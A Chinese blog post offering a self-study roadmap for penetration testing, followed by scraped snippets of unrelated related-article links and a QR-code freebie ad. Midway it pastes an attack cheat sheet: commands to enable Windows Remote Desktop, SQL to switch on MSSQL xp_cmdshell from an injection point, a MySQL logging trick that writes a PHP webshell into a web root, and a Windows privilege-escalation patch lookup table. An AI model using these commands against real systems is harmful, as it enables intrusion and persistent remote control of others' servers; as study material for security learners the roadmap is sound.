很多朋友问我,想搞网络安全,编程重要吗,选什么语言呢?

国内其实正经开设网络安全专业的学校很少,大部分同学是来自计算机科学、网络工程、软件工程专业的,甚至很多非计算机专业自学的。因此不像这三个专业,有系统的课程体系,大一教什么,大二教什么,大三又教什么,那么清晰明白,网络安全这条路很多都是自学摸索。

我从大二开始入坑网络安全,至今也有十个年头了,也见过许许多多自学成才的例子,工作这些年,先后学习过C、C++、Java、Python、Objective-C、JavaScript、TypeScript,现在回过头来,有一些自己的思考。

很多培训班,一上来就给你讲一堆各种攻击手法、各种工具使用,很多人搞得一头雾水,为什么要学这些,这些背后的原理是什么全都不知道。

我主张学习网络安全可以像做软件开发中的“敏捷开发”,先从一个最小的核心开始,逐步迭代,已臻完善。

这个最小的核心是什么呢?

如果你是偏向于搞网络渗透的方向,这个最小核心就是:

HTTP + Web + 漏洞扫描工具

先把HTTP协议的工作机制掌握了,然后学习Web技术,包括前后端如何协同工作,浏览器如何工作,服务器又是如何处理一个HTTP请求,一个网站是如何搭建起来的等等。接着再学习使用一些Web漏洞扫描工具,学习网站漏洞的概念,开始有“安全”这个意识。

围绕Web相关的知识掌握得差不多了,然后可以开始迭代起来了:

1、有了上面这些基本知识,可以开始学习各种花式的Web漏洞攻击,什么XSS、CSRF、SQL注入、SSRF等等。

2、学习漏洞原理的过程中,开始熟悉一些Web服务器的工作机制,日志技术,容器技术这些知识,以及背后的操作系统Linux/Windows的基础知识。

3、对Web安全有了一些基础,开始把眼光从Web放宽到更广阔的网络安全,这个时候,就需要进一步学习HTTP背后的TCP/IP网络协议族。这时你将会陆续接触到什么是TCP劫持、DNS劫持、ARP欺骗、TCP SYN洪水攻击等等。

4、对网络攻击的手法了解到这个阶段,现有的工具可能就满足不了你的需要,你需要定制一些爬虫、扫描、漏洞POC或其他工具了,是时候来学习一些工具编写了,你可以开始学习Python编程,门槛最低,实用性最强。

5、安全玩到后面,都是在玩漏洞。而学到后面,越来越多时间开始接触到操作系统层面的漏洞,这个时候你就要开始学习一些C语言,通过C知道代码程序底层的执行原理,拓展自己在操作系统层面的知识深度。

6、有了上面这些技术的打底,你的眼界将会被打开,但随之而来,你会发现自己要学的还有很多,但至少到这个时候,你不再像一开始那么迷茫,而是知道自己接下来该去补充哪些东西。

核心:

1.web安全

2.二进制安全(包括逆向工程和漏洞利用)

3.密码学知识

其他基础:

1.软件开发

2.数据库原理

3.编程语言

4.计算机取证分析和隐写术

5.网络协议及网络算法

6.算法与数据结构

7.研究开源工具的基本原理,懂得自制工具

Web安全:

1.注入类:SQL注入;XSS跨站脚本攻击;XXE;命令执行~命令注入(bash);文件上传~文件下载

2.信息漏洞:源码泄露;敏感信息接口;员工资料泄露;服务器信息泄露

3.逻辑类:权限绕过;条件竞争;数据篡改

网站工作原理:

HTTP协议;Webserver

HTTP协议构成:

1.http-header构成(request response)

2.http-body 构成(request response)

3.http方法

Webserver:

1.Webserver分类

2.Webserver解析流程

3.Webserver基础安全

编程语言:

前端:html,css,javascript

后台和脚本语言:php,java,python

数据库原理:

关系型数据库(MySQL)和非关系型数据库

逆向工程:

1.体系结构:机器指令和汇编语言

2.编译原理:自动机,词法分析,语法分析

3.操作系统:系统的加载与引导

4.计算机组成原理

漏洞挖掘与利用:

1.逆向工程

2.模糊测试

3.什么是漏洞

4.程序员在什么时候会犯错

5.信息收集工具:端口,子域名,代码泄露,员工字典

6.数据包抓取修改重放工具

7.顺手的浏览器及插件(火狐Hackbar)

8.VPS,漏洞验证

9.分析业务功能

10.分析web架构

11.针对性的罗列可能的漏洞类型

12.详细测试:不放过任何一个数据包

13.单一利用:Getshell;敏感信息接口

14.组合利用:XSS+CSRF

密码学:

1.古典密码学:凯撒密码;移位密码

2.现代密码学:对称加密体系(DES;AES)和非对称加密体系(RSA)

Win2003

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

Win2003,WinXP

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

Mssql开启xp_cmdshell

关闭命令

EXEC sp_configure 'show advanced options', 1; //显示或修改高级选项
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',0;
RECONFIGURE;

开启命令

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

在注入点运行上述语句时,如果出现这样的回显,标记message: 配置选项 'xp_cmdshell' 不存在,可执行以下语句

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'user connections',1;
RECONFIGURE;

Mysql日志拿shell

set global general_log = on;
set global general_log_file = 'C:/phpStudy/WWW/sinight.php';
select '<?php @assert($_POST["sinight"]); ?>';
set global general_log = off;

Windows提权对照表

#Security Bulletin   #KB     #Description    #Operating SystemCVE-2017-0213  [Windows COM Elevation of Privilege Vulnerability]  (windows 10/8.1/7/2016/2010/2008)
MS17-010  [KB4013389]  [Windows Kernel Mode Drivers]  (windows 7/2008/2003/XP)
MS16-135  [KB3199135]  [Windows Kernel Mode Drivers]  (2016)
MS16-098  [KB3178466]  [Kernel Driver]  (Win 8.1)
MS16-075  [KB3164038]  [Hot Potato]  (2003/2008/7/8/2012)
MS16-032  [KB3143141]  [Secondary Logon Handle]  (2008/7/8/10/2012)
MS16-016  [KB3136041]  [WebDAV]  (2008/Vista/7)
MS15-097  [KB3089656]  [remote code execution]  (win8.1/2012)
MS15-076  [KB3067505]  [RPC]  (2003/2008/7/8/2012)
MS15-077  [KB3077657]  [ATM]  (XP/Vista/Win7/Win8/2000/2003/2008/2012)
MS15-061  [KB3057839]  [Kernel Driver]  (2003/2008/7/8/2012)
MS15-051  [KB3057191]  [Windows Kernel Mode Drivers]  (2003/2008/7/8/2012)
MS15-010  [KB3036220]  [Kernel Driver]  (2003/2008/7/8)
MS15-015  [KB3031432]  [Kernel Driver]  (Win7/8/8.1/2012/RT/2012 R2/2008 R2)
MS15-001  [KB3023266]  [Kernel Driver]  (2008/2012/7/8)
MS14-070  [KB2989935]  [Kernel Driver]  (2003)
MS14-068  [KB3011780]  [Domain Privilege Escalation]  (2003/2008/2012/7/8)
MS14-058  [KB3000061]  [Win32k.sys]  (2003/2008/2012/7/8)
MS14-040  [KB2975684]  [AFD Driver]  (2003/2008/2012/7/8)
MS14-002  [KB2914368]  [NDProxy]  (2003/XP)
MS13-053  [KB2850851]  [win32k.sys]  (XP/Vista/2003/2008/win 7)
MS13-046  [KB2840221]  [dxgkrnl.sys]  (Vista/2003/2008/2012/7)
MS13-005  [KB2778930]  [Kernel Mode Driver]  (2003/2008/2012/win7/8)
MS12-042  [KB2972621]  [Service Bus]  (2008/2012/win7)
MS12-020  [KB2671387]  [RDP]  (2003/2008/7/XP)
MS11-080  [KB2592799]  [AFD.sys]  (2003/XP)
MS11-062  [KB2566454]  [NDISTAPI]  (2003/XP)
MS11-046  [KB2503665]  [AFD.sys]  (2003/2008/7/XP)
MS11-011  [KB2393802]  [kernel Driver]  (2003/2008/7/XP/Vista)
MS10-092  [KB2305420]  [Task Scheduler]  (2008/7)
MS10-065  [KB2267960]  [FastCGI]  (IIS 5.1, 6.0, 7.0, and 7.5)
MS10-059  [KB982799]   [ACL-Churraskito]  (2008/7/Vista)
MS10-048  [KB2160329]  [win32k.sys]  (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)
MS10-015  [KB977165]   [KiTrap0D]  (2003/2008/7/XP)
MS09-050  [KB975517]   [Remote Code Execution]  (2008/Vista)
MS09-020  [KB970483]   [IIS 6.0]  (IIS 5.1 and 6.0)
MS09-012  [KB959454]   [Chimichurri]  (Vista/win7/2008/Vista)
MS08-068  [KB957097]   [Remote Code Execution]  (2000/XP)
MS08-067  [KB958644]   [Remote Code Execution]  (Windows 2000/XP/Server 2003/Vista/Server 2008)
MS08-025  [KB941693]   [Win32.sys]  (XP/2003/2008/Vista)
MS06-040  [KB921883]   [Remote Code Execution]  (2003/xp/2000)
MS05-039  [KB899588]   [PnP Service]  (Win 9X/ME/NT/2000/XP/2003)
MS03-026  [KB823980]   [Buffer Overrun In RPC Interface]  (/NT/2000/XP/2003)

Win下面各种文件下载姿势

<参考backlion表哥的文章以及freebuf的>

http://www.cnblogs.com/backlion/p/7908563.htmlhttps://www.freebuf.com/articles/system/155147.html

Python开启HTTP服务

Python <= 2.3python -c "import SimpleHTTPServer as s; s.test();" 8000Python >= 2.4python -m SimpleHTTPServer 8000Python 3.xpython -m http.server 8000

最后,附一张网络渗透方向技术学习思维导图,希望对大家有所帮助:

福利来啦:

最新2021整理收集的一些高频面试题(都整理成文档),有很多干货,包含网络安全,渗透测试,Linux运维,Web安全。。详细讲解,也有详细的学习规划图,面试题整理等,需要获取这些内容的朋友请扫描下方二维码 备注:csdn  免费领取

总结:

回答一开始那个问题,对于网络渗透方向,编程不是一开始就要做的事,也不如程序员拿它吃饭那么重要,但即便如此,你还是得学一点。

以上是我对网络渗透方向学习的一些建议,而对于安全开发与二进制安全方向,则有所不同,我们下次再聊这两个方向。

网站渗透这块水太深,你把握不住!但你叔我能(十年经验分享)相关推荐

  1. 《面试技巧》孩子,听叔一句劝,面试水太深,你把握不住。

    人世仙家本自殊,何须相见向中途.惊鸿瞥过游龙去,漫恼陈王一事无. 嗨,大家好,我是洛神,性别男.一个来自快乐星球的程序员. 欢迎大家专注我的公众号[程序员洛神],绝对让你有意外收获哟 前言 首先要先向 ...

  2. 听皮皮一句劝zIndex 的水太深,你把握不住!

    前言 本文基于 Cocos Creator 2.4.5 撰写. ???? 普天同庆 来了来了,<源码解读>系列文章终于又来了! ???? 温馨提醒 本文包含大段引擎源码,使用大屏设备阅读体 ...

  3. 响铃:二手车水太深,汽车之家“诚信联盟”能成“抽水机”吗?

    文|曾响铃 来源|科技向令说(xiangling0815) 瓜子.优信.人人车等几个互联网二手车品牌铺天盖地的宣传让二手车这个行当一时间又成了舆论焦点. 艾瑞数据显示,预计到2020年,中国二手车交易 ...

  4. 算法炒房三月亏20多亿!房地产巨头大翻车:房价水太深,AI根本把握不住

    点击上方"视学算法",选择加"星标"或"置顶" 重磅干货,第一时间送达 明敏 丰色 发自 凹非寺 量子位 报道 | 公众号 QbitAI 就 ...

  5. 算法炒房三月亏20多亿。房地产巨头大翻车:房价水太深,AI根本把握不住

    就离谱! 一年前靠着一套算法营收30亿美元,一年后还是同样的算法,却造成资金大缺口,不得不裁员.变现手上资产. 没想到,炒房平台用上AI算法,会这么刺激. 是的,你没看错,这年头连AI都会炒房了,而且 ...

  6. 算法炒房三月亏20多亿!房地产巨头大翻车:房价水太深,AI也把握不住?

    明敏 丰色 发自 凹非寺 量子位 报道 | 公众号 QbitAI 就离谱! 一年前靠着一套算法营收30亿美元,一年后还是同样的算法,却造成资金大缺口,不得不裁员.变现手上资产. 没想到,炒房平台用上A ...

  7. 域前置,水太深,偷学六娃来隐身

    前言 又是平静的一天,吉良吉影只想过平静的生活. 哦,对不起拿错剧本了. 重保期间,RT 使用了多种方法来攻击资产, 其中不乏低级的方法. 1. 给客服 MM 传恶意文件,威胁不运行就投诉的,伪造&l ...

  8. iPhone必崩溃bug曝光!这个WiFi水太深谁也把握不住

    晓查 发自 凹非寺  量子位 报道 | 公众号 QbitAI iPhone又出现漏洞了,这个漏洞能让你手机一连WiFi就崩溃. 如果有人把WiFi名称(SSID)设置成一串特殊字符,那么你要小心了,因 ...

  9. 听叔一句劝,消息队列的水太深,你把握不住!

    很多人在做架构设计时往往会"过度设计",简单问题复杂化,上来就引一堆中间件,我想大概原因主要有下面两点: 为了秀(学)技术而架构 我们常说技术是为业务服务的,不能为了技术而技术,为 ...

最新文章

  1. [数位dp] spoj 10738 Ra-One Numbers
  2. 算法提高课-图论-有向图的强连通分量-AcWing 367. 学校网络:强连通分量、tarjan算法
  3. NFS服务器主配置文件名,NFS服务器的搭建与配置
  4. 推荐 10 个有趣的 Python 项目
  5. linux 服务器 重新启动 慢,Linux系统启动缓慢解决方法[阮胜昌]
  6. [JavaScript]利用JavaScript控制table中row的显示
  7. Controller计算值传到jsp页面,用session传值
  8. wordpress phpmyadmin_wordpress企业主题网站迁移并更换域名方法
  9. 谁敢动英伟达的奶酪?AI芯片领域,这12家创业公司值得关注
  10. 局部加权线性回归,线性回归高级版
  11. oraclemt 无法启动服务_调整MT后台 解决站点压力问题
  12. innodb 索引 mysql_InnoDB索引实现
  13. 计算机原理及应用课程,课程描述
  14. Lanproxy任意文件读取漏洞复现(CVE-2021-3019)
  15. python强度公式计算_python – 黑体谱的普朗克斯公式
  16. 计算机视觉教程(第2版)1-8章期末复习
  17. 桌面终端是计算机吗,桌面和终端
  18. SpringCloud11-GateWay网关
  19. xaxis python_在python中绘制xaxis中的多列值
  20. qt中文乱码原因分析及解决方案

热门文章

  1. ASC4056 1A线性锂离子电池充电器的详细数据手册
  2. 迅雷U享php文件怎么打开,windows下php运行环境安装配置
  3. 海藻酸盐壳聚糖水凝胶微球载体/PLGA/nHA支架复合rhBMP-2壳聚糖纳米微球水凝胶的制备与研究
  4. 研发组织中的“长尾类”问题如何看待和消除?
  5. 自学鸿蒙应用开发(43)- 秒表应用开发(1)
  6. kubenetes 1.16.0安装kubernetes-dashboard v2.0.0-beta4
  7. Windows下离线安装Python版本的prophet
  8. 第7章 Linux服务器程序规范
  9. [收藏]程序员,搞点中医秘方补补身子
  10. 网络安全实验室3.脚本关